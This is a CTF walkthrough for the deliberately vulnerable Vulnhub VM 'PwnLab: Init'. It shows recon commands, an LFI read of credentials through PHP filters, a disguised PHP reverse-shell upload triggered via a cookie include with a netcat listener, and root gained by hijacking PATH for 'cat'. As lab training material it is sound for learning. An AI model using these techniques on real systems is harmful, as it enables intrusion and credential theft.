Welcome to another Vulnhub walkthrough – this time I’ll cover the PwnLab: Init CTF game! Let’s get hacking

Testlab environment

As ususal, this is my lab setup for this game:

  • Virtual Box
  • Parrot OS
  • Pwnlab: Init Vulnhub image
  • Test lab network CIDR

Discovering Vulnhub image

The very first thing we must do is to find the address of the target. Most Vulnhub images comes pre-configured to use DHCP. There are multiple ways to uncover its address. Here are a few options!


This is my preferred way since I am using my own test network.

$ sudo /usr/sbin/netdiscover

Nmap Pingsweep

Another way could be to use Nmap and a ping sweep

$ nmap -sP network_range

Initial portscan

The premiss of the game is we are to know squat about the target. A sane way, albeit noisy, would be to portscan the target from here to eternity.

$ sudo nmap -p1-65535 -A -T4 -sS -oX nmap_scan.xml target_ip

Nmap reveals:

Port Service Note
80 HTTP Apache 2.4.10 (Debian)
3306 MySQL MySQL 5.5.47-0+deb8u1
58877 RDP


The server runs a Apache webserver on port 80. Before even touching it using a web browser, let us try to yank some information from it:

$ nikto -output nikto.xml -host target_ip

Nikto found that:

  • It hosts a PHP based site
  • Cookie PHPSESSID isn’t protected by HTTP-Only flag
  • config.php is present
  • server has directory indexing turned on
  • login.php was found

Browsing the host

Visiting the server on port 80 in Firefox reveals that

  • It hosts an image uploading/sharing site
  • It has a login form
  • Page navigation happens through the GET parameter “page” which seems to follow the script name excluding .php file extension
  • config.php yields a blank page both when using the “page” parameter and when visiting it directly. Appears to be an inclusion going on here
  • It has directory indexing turned on, as seen if visiting the image folder

Attacking page GET parameter

Manual analysis of the web pages on this server gives us an impression that we’re dealing with a local file inclusion vulnerability (LFI) here. Given what we know about the page parameter, let’s try to get hold of config.php using PHP Filters!

Visiting, with Firefox:


Notice that “resource=config” refers to page name. Just set it to any file you want to read. Looking at “config” gave me this Base64 encoded string:


This decodes to:

$server	  = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";

Bingo! We got the credentials for the MySQL database.

Logging into MySQL

If we’re lucky we can access the database by simply logging into it straight from the command line.

$ mysql --user=root --password --database=Users --host=target_ip

Once in the first thing we’ll do is to find out if there are more databases we can breach into. The command “show” databases tells us there are just the stock “information_schema” and “users” available.


Listing available tables in this database tells us there’s only one table available.


Looking at the “users” table structure we see it only contain two fields, user and pass.


Selecting all contents in table reveals there are just three users registered. Since all passwords ends in “==” we can deduct they’re all Base64 encoded.


Decoded they read:

user pass Base64 decoded
kent Sld6WHVCSkpOeQ== JWzXuBJJNy
mike U0lmZHNURW42SQ== SIfdsTEn6I
kane aVN2NVltMkdSbw== iSv5Ym2GRo

Logging into the Intranet site

Most likely we can log in to the site using the credentials discovered. I chose to go with “kent” here since he was listed first. After logging in we see that the site doesn’t offer much beyond the upload form. So, let’s investigate the upload form by utilizing the same PHP filter exploit:


Yet another Base64 encoded string:


Which decodes to

if (!isset($_SESSION['user'])) { die('You must be log in.'); }
		<form action='' method='post' enctype='multipart/form-data'>
			<input type='file' name='file' id='file' />
			<input type='submit' name='submit' value='Upload'/>
if(isset($_POST['submit'])) {
	if ($_FILES['file']['error'] <= 0) {
		$filename  = $_FILES['file']['name'];
		$filetype  = $_FILES['file']['type'];
		$uploaddir = 'upload/';
		$file_ext  = strrchr($filename, '.');
		$imageinfo = getimagesize($_FILES['file']['tmp_name']);
		$whitelist = array(".jpg",".jpeg",".gif",".png"); 

		if (!(in_array($file_ext, $whitelist))) {
			die('Not allowed extension, please upload images only.');

		if(strpos($filetype,'image') === false) {
			die('Error 001');

		if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
			die('Error 002');

		if(substr_count($filetype, '/')>1){
			die('Error 003');

		$uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;

		if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
			echo "<img src=\"".$uploadfile."\"><br />";
		} else {
			die('Error 4');


From looking at the code we see that someone gave the code some care and attention by not allowing everything and the kitchen sink to be uploaded. Anyway, the upload filter only allows “.jpg”, “.jpeg”, “.gif” and “.png”. This is some important information right here!

Finding out if we can trigger a shell

At this point I am thinking we can hack this server by getting a shell. We know how the upload filter works. I am thinking we could bypass the filter using a PHP script disguised as a GIF! At this stage we must simply find out how to execute a PHP script with a .gif extension. Let’s investigate:




Which decodes to:

//Multilingual. Not implemented yet.
if (isset($_COOKIE['lang']))
// Not implemented yet.
<title>PwnLab Intranet Image Hosting</title>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
	if (isset($_GET['page']))
		echo "Use this server to upload and share image files inside the intranet";

How nice! The developer is using the “lang” cookie for an include! We can most likely use the “lang” cookie to trigger a shell! Let’s test if we can manipulate it!

In Burpsuite Repeater:



Creating a shell

Getting hold of a PHP reverse shell is easy. Just copy it from somewhere in Parrot (or Kali), edit and ship it.

$ cp /usr/share/webshells/php/php-reverse-shell.php .
$ mv php-reverse-shell.php shell.gif

After copying it we must make it appear as a proper GIF. Just add the string “GIF98” on the very first line of the shell. Then adjust LHOST and LPORT settings in shell according to taste and save.

Then we upload the shell


We can find the path to our shell by inspecting the source in Firefox

Pwnlab init finding path to shell.png
Copy the link and put a reference to it in the “lang” cookie. Burpsuite is great for manipulating cookies:


Just fiddle around until you can make it trigger. Then open a Netcat listener and re-trigger it.

Open a Netcat listener:

$ nc -lvp 7771

If this turns out OK we’ll now have a reverse connection! With the reverse connection in place, let’s start listing out the home directories:


In this stage it’s pointless to list the content of the home folders. Instead let’s try to break into some accounts. The very first thing is to issue a simple “su” attempt. We already got the credentials from the database breach:


“su” fails since it must be done from a terminal. Let’s try to spawn another shell this time using Python:

$ python -c 'import pty;pty.spawn("/bin/bash")'


That worked. Let’s try “su” again:


Nice. Next step is to “su” through all users we got credentials for and list all home directories. Ending up in Kane’s home directory we find an executable program (“msgmike”).


Running “msgmike” reveals that the program calls “cat” without full path.


This means we can make a version of our own and put it to PATH hoping the program will use that instead. Before doing that, let’s see if the program can reveal something else:


Nope. Nothing. Nada. Zip. Let’s move on overriding the “cat” command.

Overriding cat command

The overall strategy is to make a simple script that calls “sh” and name this script “cat”. We place this script in /tmp and we register the path to it in PATH hoping the “msgmike” program will pick it up.

Making a cat

First we make the new and improved “cat” script and store it in /tmp:

$ echo "#\!/bin/sh" > /tmp/cat
$ echo "/bin/sh" >> /tmp/cat

Manipulating path

The we look at what’s in PATH. This command can also be used to verify any alterations made is dandy:

$ echo $PATH


Adding /tmp to PATH:

$ export PATH=/tmp:$PATH


Yet another shell

Let’s run the msgmike again to see if it picks up the new and improved “cat” command:


Look at that, we’re Mike! Let’s move over to his home and list the content:


Ok. Obviously we need to analyse that msg2root file


Hey look at that, a command with a format argument. Let’s exploit that:


And then we were ROOT! Let’s mover over to ROOT’s home folder and see if we can end this game!

$ cd /root
$ ls
$ /bin/cat flag.txt

And so the game ends.



This was a easy and fun challenge and I also enjoyed making this walkthrough! If you enjoyed it, please share and contact me on Twitter (@reedphish)!